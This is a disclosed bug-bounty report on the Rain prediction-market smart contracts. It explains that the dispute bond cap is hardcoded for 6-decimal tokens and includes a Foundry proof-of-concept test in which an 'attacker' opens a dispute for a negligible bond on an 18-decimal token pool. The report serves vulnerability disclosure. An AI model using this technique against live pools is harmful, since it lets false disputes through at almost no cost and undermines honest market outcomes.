Rain Disclosed Report

Dispute Bond Cap Hardcoded to 6-Decimals Breaks Protocol for Non-Stablecoin Base Tokens

Company
Created date
hidden

Target

https://github.com/hackenproof-public/rain-contracts

Vulnerability Details

Summary

The dispute bond cap in RainPool.openDispute() is hardcoded to 1000 × 1e6 on-chain units, assuming all base tokens have exactly 6 decimals. This breaks the protocol's economic model for any token with non-6 decimals (ETH, BNB, WBTC, etc.), making dispute costs negligible (10 billion times cheaper than intended) for 18-decimal tokens.

Vulnerability Details

Root Cause

The dispute bond cap is applied as a fixed on-chain unit count instead of being scaled by the base token's decimal places:[1]

uint256 disputeFee = (allFunds * 10) / FEE_MAGNIFICATION;  // 0.1% calculation ✓

if (disputeFee > 1000 * 1e6) {  // ← Hardcoded 6-decimal assumption ✗
    dispute.disputeFee = 1000 * 1e6;
} else {
    dispute.disputeFee = disputeFee;
}

This contradicts the constructor, which properly tracks decimals:

baseTokenDecimals = 10 ** params.baseTokenDecimals;  // ✓ Tracked correctly
AMOUNT_TIER_ONE = 1_000_000 * baseTokenDecimals;    // ✓ Used correctly for tiers

The same baseTokenDecimals variable is used correctly for tier calculations but omitted from the dispute cap, proving inconsistent decimal handling.

Whitepaper vs. Code

Whitepaper (Dispute Resolution section): "The disputer must put up collateral of 0.1% of the market volume or $1000, whichever is less."

This is a fixed monetary amount ($1000 USD) that should apply uniformly across all token types.

Code Implementation: Sets cap to 1000 * 1e6 on-chain units, which equals $1000 only for 6-decimal tokens.

Impact

  • Dispute System Failure: False disputes become free to file; system is spammable
  • Market Integrity Broken: Honest outcomes can be challenged costlessly
  • Economic Security Failure: 10-billion-fold reduction in dispute cost for 18-decimal tokens
  • Multi-Chain Vulnerability: Affects all chains supporting ETH, BNB, or other 18-decimal tokens

Validation steps

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "forge-std/Test.sol";

import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ERC20Mock} from "../src/mocks/ERC20Mock.sol";
import {OracleMock} from "../src/mocks/OracleMock.sol";

import {RainFactory} from "../src/RainFactory.sol";
import {RainDeployer, IRainDeployer} from "../src/RainDeployer.sol";
import {RainPool} from "../src/RainPool.sol";

/* ----------------------------------------
   Mocks to unblock closePool locally
   ---------------------------------------- */

// Router interface matching the selector used by RainPool
interface IMockSwapRouter {
    struct ExactInputParams {
        bytes path;
        address recipient;
        uint256 deadline;
        uint256 amountIn;
        uint256 amountOutMinimum;
    }
    function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);
}

// Simple ERC20 that supports mint and burn by msg.sender.
// If your project ERC20Mock already has burn, you can reuse it directly.
contract RainTokenMock is ERC20Mock {
    constructor() ERC20Mock("RAIN", "RAIN", 0) {}
    function burn(uint256 amt) public { _burn(msg.sender, amt); }
}

// Router mock that mints rainToken to the pool and returns amountIn
contract MockSwapRouter is IMockSwapRouter {
    RainTokenMock public immutable rainToken;
    constructor(address _rainToken) { rainToken = RainTokenMock(_rainToken); }

    function exactInput(ExactInputParams calldata params)
        external
        payable
        override
        returns (uint256 amountOut)
    {
        // Mint output to the AMM so closePool has a non-zero rainToken balance to burn
        rainToken.mint(params.recipient, params.amountIn);
        return params.amountIn;
    }
}

contract RainPoolBugTest is Test {
    // Local tokens
    ERC20Mock baseToken18;     // 18-decimals base token used by the pool
    RainTokenMock rainToken;   // burnable RAIN token for swap-and-burn path

    // Protocol components
    OracleMock oracleFactory;
    RainFactory factory;
    RainDeployer deployer;
    RainPool pool;
    MockSwapRouter mockRouter;

    // Roles
    address poolOwner   = address(0xA11CE);
    address resolverAI  = address(0xA1A1);
    address resolverPool= address(0xBEEF);

    uint256[] liquidityPercentages;

    function setUp() public {
        // 1) Local tokens
        baseToken18 = new ERC20Mock("Mock18", "M18", 1_000_000_000 ether); // 18 decimals base token 
        rainToken   = new RainTokenMock();                                  // burnable RAIN token

        // 2) Oracle factory bound to base token
        oracleFactory = new OracleMock(address(baseToken18));               //

        // 3) Mock router that mints rainToken to the pool on swap
        mockRouter = new MockSwapRouter(address(rainToken));

        // 4) Factory and deployer (UUPS)
        factory = new RainFactory();                                        // 
        RainDeployer impl = new RainDeployer();                             // 

        bytes memory initData = abi.encodeWithSelector(
            RainDeployer.initialize.selector,
            address(factory),
            address(oracleFactory),
            address(baseToken18),
            poolOwner,
            resolverAI,
            address(rainToken),
            address(mockRouter),   // non-zero router mocked
            18,                    // baseTokenDecimals
            12,                    // liquidityFee 1.2%
            25,                    // platformFee 2.5%
            1e15,                  // oracleFixedFee (tiny)
            12,                    // creatorFee 1.2%
            1                      // resultResolverFee 0.1%
        );

        ERC1967Proxy proxy = new ERC1967Proxy(address(impl), initData);     //
        deployer = RainDeployer(address(proxy));                            // 

        // 5) Create pool with 2 outcomes and initial liquidity
        liquidityPercentages = new uint256[](2);
        liquidityPercentages[0] = 50;
        liquidityPercentages[1] = 50;

        IRainDeployer.Params memory params = IRainDeployer.Params({
            isPublic: false,
            resolverIsAI: false,
            poolOwner: poolOwner,
            startTime: block.timestamp + 1,
            endTime:   block.timestamp + 30 minutes,
            numberOfOptions: 2,
            oracleEndTime: block.timestamp + 60 minutes,
            ipfsUri: "ipfs://mock",
            initialLiquidity: 1_000 ether,
            liquidityPercentages: liquidityPercentages,
            poolResolver: resolverPool
        });

        baseToken18.approve(address(deployer), params.initialLiquidity + deployer.oracleFixedFee()); // 
        address poolAddr = deployer.createPool(params);                                              // 
        pool = RainPool(poolAddr);                                                                   // 
    }

    // Proves the dispute bond cap is fixed at 1000*1e6 base units, not scaled by decimals.
    function test_DisputeBondCap_18Decimals_AllowsTinyBond() public {
        // Attacker becomes a participant
        address attacker = address(0xA77A);
        baseToken18.transfer(attacker, 10 ether);

        // Start and buy into outcome 1
        vm.warp(block.timestamp + 2);
        vm.startPrank(attacker);
        baseToken18.approve(address(pool), 1 ether);
        pool.enterOption(1, 1 ether);                                        // 
        vm.stopPrank();

        // Close pool (mocked swap mints rainToken; token supports burn), then set winner
        vm.warp(block.timestamp + 31 minutes);
        pool.closePool();                                                    // mocked router + burnable RAIN 
        vm.prank(resolverPool);
        pool.chooseWinner(1);                                                // 

        // PoC: only 1e9 base units (1e-9 token) due to 1000*1e6 cap bug
        uint256 tinyCap = 1_000_000_000;
        vm.startPrank(attacker);
        baseToken18.approve(address(pool), tinyCap);
        pool.openDispute();                                                  // accepts tiny bond on 18d base token 
        vm.stopPrank();

        assertTrue(pool.isDisputed(), "pool should be disputed after tiny bond"); // 
    }
}

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
State
hidden
Severity
High
Bounty$1
Visibilitypartially
VulnerabilityBlockchain
Participants
hidden